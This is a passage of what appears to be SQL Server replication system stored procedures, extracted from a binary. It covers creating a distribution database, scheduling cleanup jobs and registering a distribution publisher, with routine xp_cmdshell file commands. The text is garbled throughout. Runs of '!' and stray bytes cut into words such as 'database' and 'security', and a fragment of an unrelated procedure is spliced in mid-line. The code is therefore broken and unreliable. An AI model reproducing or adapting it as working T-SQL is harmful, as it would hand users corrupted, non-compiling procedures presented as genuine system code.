            select @filecopy_cmd = N'copy "' + sys.fn_escapecmdshellsymbolsremovequotes(@canneddblog_file) collate database_default + N'" ' + @log_path_quoted_for_copy
            EXEC @retcode = master.dbo.xp_cmdshell @filecopy_cmd, NO_OUTPUT
            IF @retcode <> 0 OR @@ERROR <> 0
            BEGIN
                RAISERROR (25017, 16, -1, @filecopy_cmd)
                return (1)
            END
            --
            -- Create distributor database
            --
            SELECT @on_clause = N' ON (NAME = ''' + REPLACE(@logical_data_file, '''', '''''' ) + N''', FILENAME=''' + REPLACE( @data_path, '''', '''''' ) + N''')'
                    ,@logon_clause = N' LOG ON (NAME = ''' + REPLACE(@logical_log_file, '''', '''''' ) + N''', FILENAME=''' + REPLACE( @log_path, '''', '''''' ) + N''')'
            SELECT @command = N'USE master  CREATE DATABASE ' +  QUOTENAME(@database) + 
                + @on_clause + @logon_clause + N' FOR ATTACH'

            EXEC (@command)
            IF @@ERROR <> 0
            begin
                RETURN (1)
            end
            dbcc dbreindexall(@database, 240) with no_infomsgs

            SELECT @db_exists = 0
        END
        ELSE
        */
        --BEGIN
            -- DO THE CREATE DATABASE FOR NON ATTACH MODES
            -- Note: Use system's default file growth.
            IF @logical_data_file IS NOT NULL AND NOT EXISTS (SELECT * FROM master.dbo.sysaltfiles WHERE name = @logical_data_file collate database_default)
            BEGIN
                SELECT @on_clause = N' ON (NAME =''' + REPLACE( @logical_data_file, '''', '''''' ) + N''',FILENAME=''' + REPLACE( @data_path, '''', '''''' ) + 
                    N''', SIZE=' + @data_file_size_str + N', MAXSIZE = UNLIMITED)'
            END

            IF @logical_log_file IS NOT NULL AND NOT EXISTS (SELECT * FROM master.dbo.sysaltfiles WHERE name = @logical_log_file collate database_default)
            BEGIN
                SELECT @logon_clause = N' LOG ON (NAME =''' + REPLACE( @logical_log_file, '''', '''''' ) + N''',FILENAME=''' + REPLACE( @log_path, '''', '''''' ) + 
                    N''', SIZE=' + @log_file_size_str + N', MAXSIZE= UNLIMITED)'          
            END
            -- Create distributor database
            SELECT @command = N'USE master  CREATE DATABASE ' +  QUOTENAME(@database) + 
                + isnull(@on_clause, N' ') + isnull(@logon_clause, N' ')
            EXEC (@command)
            IF @@ERROR <> 0
                RETURN (1)

            SELECT @db_exists = 0
        --END 
    END
    ELSE
    BEGIN
        -- distribution db exists - do nothing
        SELECT @db_exists = 1
    END

    /*
    ** Contained Database check (Replication is not yet supported on contained databases)
    ** If the specified database exists and is a contained database, then we error out.
    ** Note: 
    ** - If this check fires, then the attached database above won't be detached. I don't see any easy way of doing this while
    **   returning a meaningful error code. The main purpose of this check is to not let customers accidentally try to use 
    **   replication with contained databases, and that purpose is served here. They can delete the newly created dat!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(,Kv4
abase 
    **   manually, if they want to. (Also, the attach option seems to be not supported according to BOL)
    ** - This check needs to be after the database gets created above, since we might have attached or created a contained database above.
    */
    SELECT @containment=containment FROM sys.databases WHERE
        name = @database collate database_default
    if (@containment IS NOT NULL) AND (@containment != 0)
    BEGIN
        RAISERROR(12839, 16, -1, @database)
        RETURN(1)
    END

    --
    -- Must make the dist db owned by sa so that the sps in it can select from
    -- security cache tables in tempdb by owership chain rule.
    --
    select @retcode2 = 0
            ,@distproc = QUOTENAME(@database) + N'.sys.sp_executesql'
            ,@command = 
        -- If the db is created by sa or from attach, sa is dbo already.
        -- sp_changedbowner will fail if the new owner is an user in the db already.
        -- Addendum: we don't perform the check for existing rows in
        -- sysusers anymore as the server has implemented special logic 
        -- that handles such scenarios transparently.
        -- ' if not exists (select * from sys.database_principals where sid = 0x01) ' +
        N'  declare @login sysname
            select @login = suser_sname(0x01)
            exec @retcode2 = sys.sp_changedbowner @loginame= @login'
    EXEC @retcode = @distproc @command, N'@retcode2 int output', @retcode2 output
    IF @retcode <> 0 or @retcode2 <> 0 or @@ERROR <> 0
    BEGIN
        GOTO UNDO
    END

    -- Consider: Lock database using EXEC %%CurrentDatabase().Lock()??

    -- Set the database option truncate log on checkpoint & turn off autoclose which is default of win9x
    IF EXISTS (SELECT * FROM master.dbo.sysdatabases WHERE 
        name = @database collate database_default AND
        (status & @trunc_log_bit) = 0 )   -- if its not already marked
    BEGIN
        select @command = N'ALTER DATABASE ' + QUOTENAME(@database) + N' SET RECOVERY SIMPLE'
        exec(@command)
        IF @@ERROR <> 0
        BEGIN
            GOTO UNDO
        END
    END
    select @command = N'ALTER DATABASE ' + QUOTENAME(@database) + N' SET AUTO_CLOSE OFF'
    exec(@command)
    IF @@ERROR <> 0
    BEGIN
        GOTO UNDO
    END
    --
    -- Update sysdatabase category bit
    -- This is to prevent user from dropping the database.
    --
    if (@createmode <> @createmode_fordetach)
        EXEC %%DatabaseEx(Name = @database).SetDistributor(Value = 1)
    --
    -- Install instdist.sql
    --
    if (@createmode <> @createmode_attach) OR (@db_exists = 1)
    begin
        select @command = quotename(@database) + N'.sys.sp_instdist'
        exec @retcode = @command
        IF @retcode <> 0 or @@error <> 0
        BEGIN
            GOTO UNDO
        END
    end
    
    if (@createmode <> @createmode_fordetach)
    begin
        -- Set db_existed bit in MSrepl_version
        IF @db_exists = 1
        BEGIN
            SELECT @command = N'UPDATE ' +
                QUOTENAME(@database) + N'.dbo.MSrepl_version SET db_existed = 0x1'
    
            EXEC(@command)
            IF @@ERROR <> 0
            BEGIN
                GOTO UNDO       
            END
        END

        DELETE msdb.dbo.MSdistributiondbs WHERE name = @database collate database_default
        IF @@ERROR <> 0
        BEGIN
            GOTO UNDO       
        END

        INSERT INTO msdb.dbo.MSdistributiondbs VALUES (
            @database, @min_distretention, @max_distretention, @history_retention
            )
        IF @@ERROR <> 0
        BEGIN
            GOTO UNDO       
        END

        -- This login need db_owner priviledge to call sps in distribution db
        select @distributor_login = N'distributor_admin'
                ,@command = quotename(@database) + N'.sys.sp_MSrepl_dbrole'
        exec @retcode = @command N'db_owner', @distributor_login, N'add'
        IF @@error <> 0 OR @retcode <> 0
            GOTO UNDO

        -- The following commented out code to drop guest user was fine for merge,
        -- but the tran BVT failed. It can be uncommented once tran fixes the issue
        -- with no guest user in dist db.
        -- The guest user needs to be dropped from the distribution db.
        --select @command = '
        --if exists (select * from ' + quotename(@database) + '.dbo.sysusers 
        --	where name = ''guest'' and hasdbaccess = 1)
        --begin
        --	exec ' + quotename(@database) + '.sys.sp_revokedbaccess @name_in_db = ''guest''
        --end'
        --exec (@command)
        --if (@@error != 0)
        --  goto UNDO

        if @from_scripting = 0
        begin
            --
            -- Create the history cleanup agent.
            --
            SELECT @agentname = formatmessage (20567, @database)
                        ,@command =  N'EXEC dbo.sp_MShistory_cleanup @history_retention = ' + 
                            CONVERT(nvarchar(12), @history_retention)

            IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE name = @agentname collate database_default and
                UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
                and master_server = 0)
            BEGIN
                EXEC @retcode = sys.sp_MSdrop_repl_job
                    @job_name = @agentname
                IF @@ERROR <> 0 or @retcode <> 0
                BEGIN
                    GOTO UNDO
                END
            END

            set @description = formatmessage(20535)

            -- Get History Cleanup category name (assumes category_id = 12)
            select @category_name = name FROM msdb.dbo.syscategories where category_id = 12

            EXECUTE @retcode = sys.sp_MSadd_repl_job @agentname,
                @subsystem = 'TSQL',
                @server = @@SERVERNAME,
                @databasename = @database,
                @description = @description,
                @freqtype = 4,    
                @freqsubtype = 4,         
                @freqsubinterval = 10,    -- Number of minutes between runs
                @command = @command,
                @enabled = 1,
                @retryattempts = 0,
                @loghistcompletionlevel = 0,
                @category_name = @category_name
    
            IF @@ERROR <> 0 or @retcode <> 0
            BEGIN
                GOTO UNDO
            END
            --
            -- Create the distribution cleanup agent.
            --
            SELECT @agentname = formatmessage (20568, @database)
                        ,@command =  N'EXEC dbo.sp_MSdistribution_cleanup @min_distretention = ' + 
                            CONVERT(nvarchar(12), @min_distretention) + ', @max_distretention = ' +
                            CONVERT(nvarchar(12), @max_distretention)

            IF EXISTS (SELECT * FROM msdb.dbo.sysjobs_view WHERE name = @agentname collate database_default and
                UPPER(originating_server) = UPPER(CONVERT(sysname, SERVERPROPERTY('ServerName')))
                and master_server = 0)
            BEGIN
                EXEC @retcode = sys.sp_MSdrop_repl_job 
                    @job_name = @agentname
                IF @@ERROR <> 0 or @retcode <> 0
                BEGIN
                    GOTO UNDO
                END
            END

            set @description = formatmessage(20541)
            -- Get Distribution Cleanup category name (assumes category_id = 11)
            select @category_name = name FROM msdb.dbo.syscategories where category_id = 11
    
            EXECUTE @retcode = msdb.sys.sp_MSadd_repl_job @agentname,
                @subsystem = 'TSQL',
                @server = @@SERVERNAME,
                @databasename = @database,
                @description = @description,
                @freqtype = 4,    
                !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<re;
?4
@freqsubtype = 4,         
                @freqsubinterval = 10,    -- Number of minutes between runs
                @command = @command,
                @retryattempts = 0,
                @enabled = 0,
                @loghistcompletionlevel = 0,
                @category_name = @category_name,
                -- Start  and end time is 5 min off from the history cleanup, which use the default.
                @activestarttimeofday = 000500,
                @activeendtimeofday   = 000459

            IF @@ERROR <> 0 or @retcode <> 0
            BEGIN
                GOTO UNDO
            end
            --
            -- Add job for replication monitoring refresh
            --
            select @agentname = formatmessage (20811, @database)
            select @description = @agentname
                    ,@command =  N'exec dbo.sp_replmonitorrefreshjob  '
            if exists (select * from msdb.dbo.sysjobs_view where name = @agentname collate database_default and
                upper(originating_server collate database_default) = upper(convert(sysname, SERVERPROPERTY('ServerName')))
                and master_server = 0)
            BEGIN
                EXEC @retcode = sys.sp_MSdrop_repl_job
                    @job_name = @agentname
                IF @@ERROR <> 0 or @retcode <> 0
                BEGIN
                    GOTO UNDO
                END
            END
            select @category_name = name FROM msdb.dbo.syscategories where category_id = 18
    
            EXECUTE @retcode = msdb.sys.sp_MSadd_repl_job @agentname,
                @subsystem = 'TSQL',
                @server = @@SERVERNAME,
                @databasename = @database,
                @description = @description,
                @freqtype = 64,  -- continuous  
                @freqsubtype = 0,  -- unused
                @freqsubinterval = 0,    -- unused
                @command = @command,
                @retryattempts = 0,
                @enabled = 0,
                @loghistcompletionlevel = 0,
                @category_name = @category_name

            if @@ERROR <> 0 or @retcode <> 0
                GOTO UNDO
        end
        --
        -- register default resolvers - this requires SQL installation
        --
        exec @retcode = sys.sp_MSrepl_register_default_resolvers @database

        if @@error <> 0 or @retcode <> 0
            goto UNDO
    end -- (@createmode <> @createmode_fordetach) block
    else
    begin
        -- detach
        dbcc detachdb(@database)
    end

    RETURN(0)

    -- Consider: Using transaction ??
UNDO:

    IF @db_exists = 0
        EXECUTE sys.sp_dropdistributiondb @database

    -- Need to do it since sp_dropdistributiondb will fail in some cases
    EXEC %%DatabaseEx(Name = @database).SetDistributor(Value = 0)
    
    DELETE msdb.dbo.MSdistributiondbs where name = @database collate database_default

    -- drop the database and ignore error
    IF @db_exists = 0 AND
        EXISTS (SELECT * from master.dbo.sysdatabases WHERE name = @database collate database_default)
    BEGIN
        SELECT @command = N'USE master  DROP DATABASE ' +  QUOTENAME(@database) 
        EXEC (@command)
    END

	/*
    if (@createmode = @createmode_attach)
    begin
        if (@data_file_preexists = 0)
        begin
            select @command = N'del ' + @data_path_quoted_for_copy
            exec master.dbo.xp_cmdshell @command, NO_OUTPUT
            --ignore errors
        end
        if (@log_file_preexists = 0)
        begin
            select @command = N'del ' + @log_path_quoted_for_copy
            exec master.dbo.xp_cmdshell @command, NO_OUTPUT
            --ignore errors
        end
    end
    */        
    RETURN(1)        
END
<p&	<pscriber = @subscriber,
						@destination_db = @destination_db,
						@subscriptionlsn = @subscriptionlsn,
						@lsnsource = @lsnsource,
						@pubid = @pubid,
						@publisher_db_version = @publisher_db_version,
						@script_txt = @script_txt,
						@nosync_setup_script = @nosync_setup_script,
						@next_valid_lsn = @next_valid_lsn,
						@artid = @artid OUTPUT

	-- If the execution of dbo.sp_MSsetupnosyncsubwithlsnatdist_helper fails, we will not
	-- write publisher db tran log and will roll back the Setupnosyncsub transaction.
	if (@@error != 0) or (@retcode != 0) or (@artid = NULL) goto NosyncSetupFailure

	-- write a log record (REPL_NOSYNC_SUBSCRIPTION_SETUP_LOG_CMD 54) into transaction log;
	-- when this log record is delivered by logreader, sp_MSsetupnosyncsubwithlsnatdist will be executed
	-- on distributor. The command text of the log record is a concatenation of @pubid and @next_valid_lsn, 
	-- which will be used to identify the parameters for this subscription, where @pubid (int) accounts for 
	-- 4 bytes, and @next_valid_lsn (binary(10)) accounts for 10 bytes. Neither of them is NULL.
	if (@pubid is NULL or @next_valid_lsn is NULL)  goto NosyncSetupFailure

	declare @cmdText nvarchar(max)
	select @cmdText = CAST(@pubid AS nchar(2)) + CAST(@next_valid_lsn AS nchar(5))
	exec @retcode = sys.sp_replpostcmd 0, @pubid, @artid, 54, @cmdText
	if (@@error != 0) or (@retcode != 0) goto DistDbCleanup

	commit tran Setupnosyncsub
	return 0

DistDbCleanup:
	-- Since failure occurs, we clean up the distribution db in best-effort way.
	declare @nonsyncSubscriptionCleanup nvarchar(max)
	select @nonsyncSubscriptionCleanup = quotename(rtrim(ltrim(@distributor))) + N'.' 
		+ quotename(ltrim(rtrim(@distribdb))) + N'.'
		+ N'dbo.sp_MSsetupnosyncsubwithlsnatdist_cleanup'
	
	exec @nonsyncSubscriptionCleanup  @publisher = @publisher_local,
		@publisher_db = @currentdatabase,
		@publication = @publication,
		@article = @article,
		@artid = @artid,
		@subscriber = @subscriber,
		@destination_db = @destination_db,
		@next_valid_lsn = @next_valid_lsn

	-- Some failure has occurred, go ahead to roll back the transaction at NosyncSetupFailure

NosyncSetupFailure:
	rollback tran Setupnosyncsub
	commit tran
	return 1

Failure:
	return @retcode
END
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!r`<(,,Njv@--
-- Name: sp_MSrepl_adddistpublisher
--
-- Descriptions: 
--
-- Parameters: as defined in create statement
--
-- Returns: 0 - success
--          1 - Otherwise
--
-- Security: 
-- Requires Certificate signature for catalog access
--
-- NOTE: @trusted is a deprecated parameter.  It is left here in
-- case we need to reactivate in the future.  It will be checked
-- in sp_addarticle (the entry proc) to see if it is anything other
-- than false.
--
--
create procedure sys.sp_MSrepl_adddistpublisher
(
    @publisher				sysname,
    @distribution_db		sysname,
    @security_mode			int,
    @login					sysname,
    @password				sysname,
    @working_directory		nvarchar(255),
    @trusted				nvarchar(5),	-- DEPRECATED
    @encrypted_password		bit,
    @thirdparty_flag		bit,
    @publisher_type			sysname
)
AS
BEGIN
    SET NOCOUNT ON

    /*
    ** Declarations.
    */

    DECLARE @retcode					int
    DECLARE @active_value				int
    DECLARE @server_added				bit
    DECLARE @proc						nvarchar(524)
    declare @fExists					int
    declare @command					nvarchar(255)
    declare @trusted_id					bit
    declare @platform_nt				binary
    declare @qv_replication				varchar(10)
    declare @qv_replication_unlimited	integer
    declare @qv_value_replication		integer
    declare @enc_password				nvarchar(524)
    declare @srvproduct					nvarchar(128)
    declare @hrepl_provider				nvarchar(128)
    declare @distributortimestamp		datetime
    declare @publisher_guid				uniqueidentifier
    DECLARE @vendor						sysname
	DECLARE @sysuser                    sysname
	DECLARE @loc_publisher_type			sysname
    DECLARE @sa_login                   sysname
    

	-- Initial values
	SELECT	@sysuser                  = SYSTEM_USER,
			@platform_nt              = 0x1,
			@qv_replication           = '2745196162',
			@qv_replication_unlimited = 0,
			@server_added             = 0,
			@hrepl_provider           = NULL,
            @sa_login                 = SUSER_SNAME(0x01)

    /*
    ** Security Check: require sysadmin
    */
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    /* 
    ** Check if replication components are installed on this server
    */
    exec @retcode = sys.sp_MS_replication_installed
    if (@retcode <> 1)
    begin
        return (1)
    end

    /*
    ** Instead of raising an error when the working is empty or null,
    ** compute a default working directory based on the default data path of
    ** the distributor.
    */


    IF @working_directory IS NULL or ltrim(rtrim(@working_directory)) = ''
    BEGIN
        EXECUTE @retcode = master.dbo.xp_instance_regread 
                    'HKEY_LOCAL_MACHINE',
                    'SOFTWARE\Microsoft\MSSQLServer\Setup',
                    'SQLDataRoot',
                    @param = @working_directory OUTPUT,
                    @no_output = 'no_output'

        SELECT @working_directory = RTRIM(LTRIM(@working_directory))
        /*
        ** If the returned data path is not a a UNC path (which is almost 
        ** always the case) then remap the data path as an admin. UNC share.
        ** i.e. \\<MachineName>\<DriveLetter>$\<DataRoot>\ReplData
        */
        IF LEFT(@working_directory, 2) <> N'\\' AND 
           SUBSTRING(@working_directory, 2, 1) = N':'
        BEGIN
            SELECT @working_directory = N'\\' + 
                   CONVERT(sysname, SERVERPROPERTY('MachineName')) + N'\' + 
                   LEFT(@working_directory,1) + '$' + 
                   SUBSTRING(@working_directory, 3, 260) -- Note:The returned working directory cannot be more than 260 characters long
        END
        SELECT @working_directory = @working_directory + 
            CASE WHEN RIGHT(@working_directory, 1) = N'\' THEN 'ReplData'
                 ELSE '\ReplData' 
            END 
    END


    /*
    ** Parameter Check:  @publisher.
    ** Check to make sure that the publisher is not NULL and that it
    ** conforms to the rules for identifiers.
    */

    IF @publisher IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publisher', 'sp_adddistpublisher')
            return (1)
        END

    EXECUTE @retcode = sys.sp_validname @publisher
    IF @@ERROR <> 0 OR @retcode <> 0
        return (1)

    /*  
    ** Parameter Check:  @publisher_type.  
    */  
    SELECT	@publisher_type     = UPPER(@publisher_type),
    		@loc_publisher_type = UPPER(@publisher_type)

    IF @publisher_type != N'MSSQLSERVER'
    BEGIN
		-- Verify SQL Server edition
		-- HREPL is restricted to Eval, Enterprise and Developer editions
		IF (sys.fn_MSrepl_editionid () not in (30,31))
		BEGIN
			DECLARE @edition sysname
			SELECT @edition = CONVERT(sysname, SERVERPROPERTY('Edition'))
			RAISERROR(21793, 16, -1, @edition)
			RETURN (1)
		END

    	-- Get provider
    	EXEC @retcode = sys.sp_IHgetprovider @loc_publisher_type OUTPUT, @hrepl_provider OUTPUT

    	IF @retcode != 0 OR @@ERROR != 0
    	BEGIN
    		RETURN (1)
    	END

         -- is this a distributor?
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	master.dbo.sysservers  
			WHERE	UPPER(datasource collate database_default) = UPPER(@@SERVERNAME) COLLATE DATABASE_DEFAULT  
              AND	srvstatus & 8 <> 0
        )
        BEGIN
            RAISERROR(21605, 16, -1)
            RETURN (1)
        END

        -- make sure we have the table that will tell us if this is a distribution database
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	msdb.sys.objects
        	WHERE	name = 'MSdistributiondbs' COLLATE DATABASE_DEFAULT
        	  AND	type = 'U'
       	)
        BEGIN
            RAISERROR(21605, 16, -1)
            RETURN (1)
        END

        -- check if this is a distribution database 
        IF NOT EXISTS
        (
        	SELECT	*
        	FROM	msdb..MSdistributiondbs
        	WHERE	name = DB_NAME() COLLATE DATABASE_DEFAULT
        )
        BEGIN
            RAISERROR(21605, 16, -1)
            RETURN (1)
        END
    END

    IF @loc_publisher_type NOT IN (N'MSSQLSERVER', N'ORACLE', N'ORACLE GATEWAY')
    BEGIN
        RAISERROR (21643, 16, -1, '@publisher_type')  
        return (1)  
    END
    	
 	/*
	** Parameter Check:  @password.  
	*/
   IF @loc_publisher_type = N'MSSQLSERVER'
    BEGIN
        IF @password = N''
            select @password = NULL
    END
    ELSE
    BEGIN
        IF @password = N'' or @password is NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@password', 'sp_adddistpublisher')
            return (1)  
        END
    END

    /* On REPLICATION_LIMITED server, only local publisher is supported.
     * Note: The login and password registered for local publisher will be used for 
     * local agents to login to distributor, thus local publisher has to be installed first.
     * We choose not to support remote dist publshers on REPLICATION_LIMITED server altogether.
     * On NT, local agents will always use integrated security to log into 
     * distributor
     * Today, REPLICATION_LIMITED means desktop but we check specific sku entry just in case
    */
    exec @qv_value_replication = sys.sp_MSinstance_qv @qv_replication    
    if ( @qv_value_replication != @qv_replication_unlimited ) and ( UPPER(@publisher) <> UPPER(@@servername) )
    begin
        -- remote dist publisher is not supported on this server version
        raiserror(21041,16,-1)
        return (1)
    end


    -- Set default security
    IF @security_mode IS NULL
    BEGIN
		IF @loc_publisher_type = N'MSSQLSERVER' AND (UPPER(@publisher) = UPPER(@@SERVERNAME) and ( platform() & @platform_nt = @platform_nt ) )
			SELECT @security_mode = 1
		ELSE
			SELECT @security_mode = 0
    END

    /* 
    ** Check for invalid secu!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(,v@rity mode
    */
    IF @security_mode < 0 OR @security_mode > 1
        BEGIN
            RAISERROR(14109, 16, -1)
            return (1)
        END

    IF (UPPER(@publisher) = UPPER(@@SERVERNAME) and ( @platform_nt != platform() & @platform_nt ) and @security_mode = 1)
    BEGIN
        RAISERROR(21038, 16, -1)
        RETURN (1)
    END

	-- Check to ensure a login is provided if security mode is SQL Server authentication.
	select @login = rtrim(ltrim(isnull(@login, '')))

	-- Security Mode = 1
	IF @security_mode = 1
	BEGIN
		SELECT @login = N'',
				@password = newid()
	END
	-- Security Mode = 0
	ELSE IF @login = ''
	BEGIN
		-- '@login cannot be null or empty when @security_mode is set to 0 (SQL Server authentication).'
		raiserror(21694, 16, -1, '@login', '@security_mode')
		return 1
	END

    -- Encrypt the password
    -- We no longer supported passing in encrypted passwords
	IF @encrypted_password = 1
	BEGIN
		-- Parameter '@encrypted_password' is no longer supported.
		RAISERROR(21698, 16, -1, '@encrypted_password')
		RETURN (1)
	END

    -- Validate the working directory 
    -- Remove heading and trailing spaces
    select @working_directory = RTRIM(LTRIM(@working_directory))
    
    -- if the last char is '\', remove it.
    if substring(@working_directory, len(@working_directory),1) = '\'
        select @working_directory = substring(@working_directory, 1,
            len(@working_directory)-1)

    -- Don't do validation if it is a UNC path due to security problem.
    -- If the server is started as a service using local system account, we
    -- don't have access to the UNC path.
    if substring(@working_directory, 1,2) <> '\\'
    begin
        select @command = 'dir "' + sys.fn_escapecmdshellsymbolsremovequotes(@working_directory) collate database_default + '"'
        exec @retcode = master.dbo.xp_cmdshell @command, 'no_output'
        if @@error <> 0
            return (1)
        if @retcode <> 0 
        begin
            raiserror (21037, 16, -1, @working_directory)
            return (1)
        end
    end

    /*
    ** Parameter Check:  @trusted
    */

	-- SECURITY RISK:
	-- Trusted should be false by default to avoid potential security hole.
	-- If another machine spoofs the local box, it could be allowed to have
	-- a trusted connection.  User must explicitly request for trusted to be used.
	--
	-- sp_addarticle now checks to see that this is always false making this check
	-- redundant.  It remains in case we need to reactivate for backwards compat.

    IF LOWER(@trusted collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('true', 'false')
    BEGIN
        RAISERROR (14148, 16, -1, '@trusted')
        RETURN (1)
    END

    IF NOT @loc_publisher_type = N'MSSQLSERVER'
    BEGIN
        IF @trusted = 'true'
        BEGIN
            RAISERROR (21639, 16, -1)  
            RETURN (1)  
        END

        IF @thirdparty_flag = 1
        BEGIN
            RAISERROR (21640, 16, -1)  
            RETURN (1)  
        END
    END	

    IF LOWER(@trusted collate SQL_Latin1_General_CP1_CS_AS) = 'true'
    BEGIN
		-- OBSOLETE SETTING
    	SELECT @trusted_id = 1
    END
    ELSE
    BEGIN
    	SELECT @trusted_id = 0
    END

    /*
    ** Check to make sure this is a distributor
    */
    IF NOT EXISTS (SELECT * FROM master.dbo.sysservers
              WHERE UPPER(datasource collate database_default) = UPPER(@@SERVERNAME) collate database_default
                 AND srvstatus & 8 <> 0)
    BEGIN
        RAISERROR (14114, 16, -1, @@SERVERNAME)
        return (1)
    END

    /*
    ** Check if database is configured as a distributor database
    */
    IF NOT EXISTS (SELECT * FROM msdb..MSdistributiondbs WHERE name = @distribution_db collate database_default)
    BEGIN
        RAISERROR (14117, 16, -1, @distribution_db)
        return (1)
    END

    /* Check if publisher is already defined. */
    IF EXISTS (SELECT *
         FROM msdb..MSdistpublishers
        WHERE UPPER(name collate database_default) = UPPER(@publisher) collate database_default)

    BEGIN
        RAISERROR (14074, 16, -1, @publisher)
        RETURN (1)
    END


    IF @loc_publisher_type = N'MSSQLSERVER'
    BEGIN
        IF NOT EXISTS (SELECT *
                 FROM master.dbo.sysservers
                WHERE UPPER(srvname collate database_default) = UPPER(@publisher) collate database_default)

        /* Add the server if it does not exist. */
        BEGIN
        	--
            -- We will always add UPPERCASE entries
            --
            select @publisher = upper(@publisher)
            
            EXECUTE @retcode = sys.sp_addserver @publisher
            IF @@error <> 0 OR @retcode <> 0
            BEGIN
                RAISERROR (14075, 16, -1)
                GOTO UNDO
            END
            SELECT @server_added = 1
        END
        ELSE
        BEGIN
            SELECT @publisher = sys.fn_getpersistedservernamecasevariation(@publisher) collate database_default
        END
    END
    ELSE
    BEGIN
	    -- For heterogeneous publisher set the server product based on the publisher type
	    IF @loc_publisher_type = N'ORACLE'
	    BEGIN
	        SELECT	@srvproduct	= 'Oracle Replication',
					@vendor		= 'ORACLE'
	    END
	    ELSE IF @loc_publisher_type = N'ORACLE GATEWAY'
	    BEGIN
	        SELECT	@srvproduct	= 'Oracle Gateway Replication',
					@vendor		= 'ORACLE'
	    END

    	-- Check if a linked server already exists 
        IF EXISTS
        (
        	SELECT	*
			FROM	master.dbo.sysservers
			WHERE	UPPER(srvname collate database_default) = UPPER(@publisher)
		)
        BEGIN
            RAISERROR(21642, 16, -1, @publisher)
            RETURN (1)
        END
        --
        -- We will always add UPPERCASE entries
        --
        SELECT @publisher = upper(@publisher)

        -- If the login is entered double quoted, we will retain the value as entered retaining 
        -- the double quotes.  Otherwise, we will upper case the entered value to mirror
        -- PL/SQL behavior.
        IF NOT ((substring(@login, 1, 1) = '"') AND (substring(@login, LEN(@login), 1) = '"'))
        BEGIN
	    SET @login = UPPER(@login)
        END

		-- Verify connection
		EXEC @retcode = sys.sp_MSrepl_testconnection	@publisher_type	= @publisher_type,
														@publisher		= @publisher,
														@security_mode	= @security_mode,
														@login			= @login,
														@password		= @password
						
        IF @@ERROR<>0 OR @retcode<>0
        BEGIN
            RAISERROR(21747, 16, -1, @publisher)
            GOTO UNDO
        END

        -- Add linked server for the hrepl publisher
        EXECUTE @retcode = sys.sp_addlinkedserver	@server     = @publisher,
													@srvproduct = @srvproduct,
													@provider   = @hrepl_provider,
													@datasrc    = @publisher

        IF @@error <> 0 OR @retcode <> 0  
        BEGIN  
            RAISERROR (14075, 16, -1)  
            GOTO UNDO  
        END
        
        SELECT @server_added = 1  

        -- Set data access option
        exec @retcode = sys.sp_serveroption  @publisher, 'data access', 'true'
        IF @@error <> 0 or @retcode <> 0
        BEGIN
            RAISERROR (15206, 16, -1, 'data access')
            GOTO UNDO
        END

        -- Set linked server options
        EXEC @retcode = sys.sp_serveroption	@publisher, 'rpc', 'true'

        IF @@error <> 0 OR @retcode <> 0  
        BEGIN  
            RAISERROR (15206, 16, -1, 'rpc')  
            GOTO UNDO  
        END

        EXEC @retcode = sys.sp_serveroption	@publisher, 'rpc out', 'true'

        IF @@error <> 0 OR @retcode <> 0  
        BEGIN  
            RAISERROR (15206, 16, -1, 'rpc out')  
            GOTO UNDO  
        END

        -- Set server publisher option
     !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<,@   exec @retcode = sys.sp_serveroption @publisher, 'pub', 'true'

        IF @@error != 0 OR @retcode != 0
        BEGIN
            RAISERROR (15206, 16, -1, 'pub')
            GOTO UNDO
        END

        --Mark system link
        exec @retcode = sys.sp_serveroption @publisher, 'system', 'true'

        IF @@error <> 0 OR @retcode <> 0
        BEGIN
            RAISERROR (15206, 16, -1, 'system')
            GOTO UNDO
        END

        -- Map sa to use provided remote login/password
        -- All linked server queries must be done as sa (via execute as owner)

        EXEC @retcode = sys.sp_addlinkedsrvlogin	@rmtsrvname		= @publisher,
													@useself		= N'false',
													@locallogin		= @sa_login,
													@rmtuser		= @login,
													@rmtpassword		= @password

        IF @@error <> 0 OR @retcode <> 0  
        BEGIN  
